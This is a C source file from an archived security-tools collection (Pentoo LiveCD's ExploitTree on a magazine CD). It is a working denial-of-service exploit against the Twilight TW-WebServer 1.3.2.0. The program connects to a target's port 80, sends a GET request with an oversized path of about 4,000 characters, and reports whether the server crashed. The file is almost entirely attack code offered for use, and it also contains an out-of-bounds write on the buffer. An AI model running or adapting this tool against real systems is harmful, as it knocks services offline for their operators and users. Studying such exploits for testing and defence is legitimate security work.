home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / twilight / ss-dos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  114 lines

  1. /*
  2.     
  3.  >> by Shashank pandey
  4.   
  5.   
  6.  
  7.  >>http://geekgroove.8m.com
  8.  Twilight Utilities TW-WebServer/1,3,2,0 
  9. #
  10. # Vulnerable systems:
  11. # TW-WebServer/1, 3, 2, 0
  12. #
  13.   
  14. */
  15. #include <windows.h>
  16. #include <winsock.h>
  17. #include <stdio.h>
  18. #pragma comment (lib,"ws2_32")
  19. void graphitte()
  20. {printf("\n---------------------------------- ");
  21.  printf("\nTW-WebServer/1, 3, 2, 0 DoS tool  |  \n");
  22.  printf("--------------------------------- |\n");
  23.  printf("      by Shashank Pandey          |\n");
  24.  printf("(reach_shash@linuxmail.org)       |\n"); 
  25.  printf("---------------------------------- \n");
  26.  
  27. }
  28. int main(int argc, char *argv[])
  29. {
  30.      
  31.   WSADATA wsaData;
  32.       
  33.       
  34.       
  35.       
  36.       int s;
  37.   
  38.   char trash[100];
  39.   
  40. struct hostent *yo;
  41.    struct sockaddr_in heck;
  42.   char buffer[4096] ="";
  43.       char myrequest[5000];    
  44.       
  45.   
  46.   
  47.   graphitte();
  48.        
  49.      
  50.     
  51. if(WSAStartup(0x0101,&wsaData)!=0) {
  52.       printf("Error :Cudn't initiate winsock!");
  53.       return 0;
  54.       }
  55. if(argc<2)
  56. {printf("Usage : %s I.P/Hostname\n\n",argv[0]);
  57.   exit(0);}
  58.   if ( (yo = gethostbyname(argv[1]))==0)
  59.   {
  60.     printf("error: can't resolve '%s'",argv[1]);
  61.     return 1;
  62.   }
  63. printf("\nChecking web server %s\n",argv[1]);
  64.       
  65.    
  66.   heck.sin_port = htons(80);
  67.   heck.sin_family = AF_INET;
  68.   heck.sin_addr = *((struct in_addr *)yo->h_addr);
  69.   if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
  70.     printf("error: can't create socket");
  71.     return 1;
  72.   }
  73.   
  74.   if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
  75.     printf("Error:Cudn't Connect\r\n");
  76.     return 1;
  77.   }
  78.  
  79.   
  80.   
  81. buffer[sizeof(buffer)]=0x00;
  82.   memset(buffer,'S',sizeof(buffer));
  83.   memset(myrequest,0,sizeof(myrequest));
  84.       memset(trash,0,sizeof(trash));
  85.       sprintf(myrequest,"GET %s HTTP/1.0\r\n\r\n",buffer);
  86.       
  87.       printf("\r\nTrying oveflow request... ");
  88.       send(s,myrequest,strlen(myrequest),0);
  89.       
  90.       printf("Evil Request SENT\r\n");
  91.       recv(s,trash,sizeof(trash),0);
  92.       if(trash[0]==0x00) 
  93.   {
  94.       printf("Server Crashed :-) !.\r\n");
  95.   
  96.        
  97.       } 
  98.   
  99.   else
  100.       
  101.   
  102.   printf("Server is prolly patched.\r\n");
  103.       
  104.   closesocket(s);
  105.   
  106.  
  107.  
  108.  
  109. WSACleanup();
  110.     
  111.  
  112.  
  113. }
  114.